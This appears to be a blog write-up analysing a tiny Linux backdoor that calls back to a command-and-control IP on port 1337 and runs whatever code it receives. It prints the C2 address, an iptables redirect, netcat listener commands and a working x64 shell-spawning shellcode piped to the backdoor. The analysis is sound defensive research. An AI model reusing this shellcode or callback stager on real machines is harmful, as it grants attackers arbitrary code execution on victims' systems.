A wild backdoor has appeared. Press 1 to ptrace :D

While going though some vulnerable servers I was able to find a backdoor present that is only 249 bytes long. The backdoor’s md5sum is 93363683dcf1ccc4db296fa5fde69b71 and is undetected on virustotal and other threat intelligence websites. Reversing this binary gave us insights on how malware authors are using techniques to make their backdoors undetectable and hard to analyze or even reverse engineer. Here’s the sample.

lionaneesh@d4rkc0de:~$ file pay.bin

pay.bin: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), statically linked, corrupted section header size

lionaneesh@d4rkc0de:~$

Backdoor

The binary has stripped all debugging symbols and has a corrupted header. GDB is not able to find the entry point to this binary.



GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1

Copyright (C) 2016 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<

Find the GDB manual and other documentation resources online at:

<

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from pay.bin...(no debugging symbols found)...done.

gdb-peda$ info file

Symbols from "/home/lionaneesh/pay.bin".

gdb-peda$ info functions

All defined functions:

gdb-peda$ break *_start

No symbol table is loaded. Use the "file" command.

gdb-peda$ lionaneesh@d4rkc0de:~$ gdb pay.binGNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1Copyright (C) 2016 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later < http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see: http://www.gnu.org/software/gdb/bugs/ >.Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/ >.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from pay.bin...(no debugging symbols found)...done.gdb-peda$ info fileSymbols from "/home/lionaneesh/pay.bin".gdb-peda$ info functionsAll defined functions:gdb-peda$ break *_startNo symbol table is loaded. Use the "file" command.gdb-peda$

No straight forward way to actually go and disassemble the binary. Radare2 to the rescue, it manages to find the entry point for us.

lionaneesh@d4rkc0de:~/backdoors$ r2 pay.bin

[0x00400078]> ii

[Imports] 0 imports

[0x00400078]> ie

[Entrypoints]

addr=0x00400078 off=0x00000078 baddr=0x00400000 1 entrypoints

The binary start executing at 0x00400078. The binary is so small in size, which suggests its been handwritten in assemble. So such compiler artifacts or anything of that sorts exists.

Using strace we can easily find out what system calls its executing: lionaneesh@d4rkc0de:~/backdoors$ strace ./pay.bin

execve(“./pay.bin”, [“./pay.bin”], [/* 39 vars */]) = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee0b81d000

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr(“104.248.237.194”)}, 16) = -1 ECONNREFUSED (Connection refused)

nanosleep({5, 0},

Apparently it tries to make a socket and connect to the IP address: 104.248.237.194 on port number 1337. This ip address is owned by Digital Ocean. To debug further lets setup an IPtables rule, so that all the traffic going to that IP is redirected to localhost.

sudo iptables -t nat -A OUTPUT -p all -d 104.248.237.194 -j DNAT --to-destination 127.0.0.1

Setup a listener on port 1337:

nc -lvp 31337

Lets try to run the binary and see what it does:

lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ nc -lvp 1337

Listening on [0.0.0.0] (family 0, port 1337)

Connection from [d4rkc0de.com] port 1337 [tcp/*] accepted (family 2, sport 44170)

AAAA

We get a connection, lets send a couple of random bytes.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

RAX: 0x5

RBX: 0x0

RCX: 0x4000f2 --> 0xe6ffef78c08548

RDX: 0x1000

RSI: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA

')

RDI: 0x3

RBP: 0x0

RSP: 0x7fffffffe110 --> 0x1

RIP: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA

')

R8 : 0x0

R9 : 0xa ('

')

R10: 0x22 ('"')

R11: 0x246

R12: 0x0

R13: 0x0

R14: 0x0

R15: 0x0

EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

=> 0x7ffff7ffa000: rex.B

0x7ffff7ffa001: rex.B

0x7ffff7ffa002: rex.B

0x7ffff7ffa003: or al,BYTE PTR [r8]

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe110 --> 0x1

0008| 0x7fffffffe118 --> 0x7fffffffe3d6 ("/home/lionaneesh/pay.bin")

0016| 0x7fffffffe120 --> 0x0

0024| 0x7fffffffe128 --> 0x7fffffffe3ef ("XDG_SESSION_ID=144197")

0032| 0x7fffffffe130 --> 0x7fffffffe405 ("rvm_bin_path=/home/lionaneesh/.rvm/bin")

0040| 0x7fffffffe138 --> 0x7fffffffe42c ("GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2")

0048| 0x7fffffffe140 --> 0x7fffffffe45b ("TERM=screen")

0056| 0x7fffffffe148 --> 0x7fffffffe467 ("SHELL=/bin/bash")

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x00007ffff7ffa000 in ?? ()

gdb-peda$

We see that the input we provided is written to the mmapped segment and execution is passed on to it. Currently we get a segmentation fault as AAAA is not a valid opcode. Lets try to give it a known shellcode for x64:

lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ python -c “print ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05’” | nc -lvp 1337

Listening on [0.0.0.0] (family 0, port 1337)

The program jumps to our input at 0x4000f7:

[ — — — — — — — — — — — — — — — — — registers — — — — — — — — — — — — — — — — — -]

RAX: 0x1c

RBX: 0x0

RCX: 0x4000f2 → 0xe6ffef78c08548

RDX: 0x1000

RSI: 0x7ffff7ffa000 → 0x91969dd1bb48c031

RDI: 0x3

RBP: 0x0

RSP: 0x7fffffffe110 → 0x1

RIP: 0x4000f7 → 0xe6ff

R8 : 0x0

R9 : 0xa (‘

’)

R10: 0x22 (‘“‘)

R11: 0x246

R12: 0x0

R13: 0x0

R14: 0x0

R15: 0x0

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[ — — — — — — — — — — — — — — — — — — -code — — — — — — — — — — — — — — — — — — -]

0x4000f0: syscall

0x4000f2: test rax,rax

0x4000f5: js 0x4000e6

=> 0x4000f7: jmp rsi

| 0x4000f9: add BYTE PTR [rax],al

| 0x4000fb: add BYTE PTR [rax],al

| 0x4000fd: add BYTE PTR [rax],al

| 0x4000ff: add BYTE PTR [rax],al

|-> 0x7ffff7ffa000: xor eax,eax

0x7ffff7ffa002: movabs rbx,0xff978cd091969dd1

0x7ffff7ffa00c: neg rbx

0x7ffff7ffa00f: push rbx

JUMP is taken

[ — — — — — — — — — — — — — — — — — — stack — — — — — — — — — — — — — — — — — — -]

0000| 0x7fffffffe110 → 0x1

0008| 0x7fffffffe118 → 0x7fffffffe3d6 (“/home/lionaneesh/pay.bin”)

0016| 0x7fffffffe120 → 0x0

0024| 0x7fffffffe128 → 0x7fffffffe3ef (“XDG_SESSION_ID=144197”)

0032| 0x7fffffffe130 → 0x7fffffffe405 (“rvm_bin_path=/home/lionaneesh/.rvm/bin”)

0040| 0x7fffffffe138 → 0x7fffffffe42c (“GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2”)

0048| 0x7fffffffe140 → 0x7fffffffe45b (“TERM=screen”)

0056| 0x7fffffffe148 → 0x7fffffffe467 (“SHELL=/bin/bash”)

[ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — ]

Legend: code, data, rodata, value Breakpoint 3, 0x00000000004000f7 in ?? ()

gdb-peda$

We see our payload is there, let continue:

gdb-peda$ c

Continuing.

process 14586 is executing new program: /bin/dash

Epic! This 249 byte backdoor can run any shellcode we give it. The attackers can deploy it on an offshore IP address and execute arbitrary instructions on the victim’s box.

IOCs: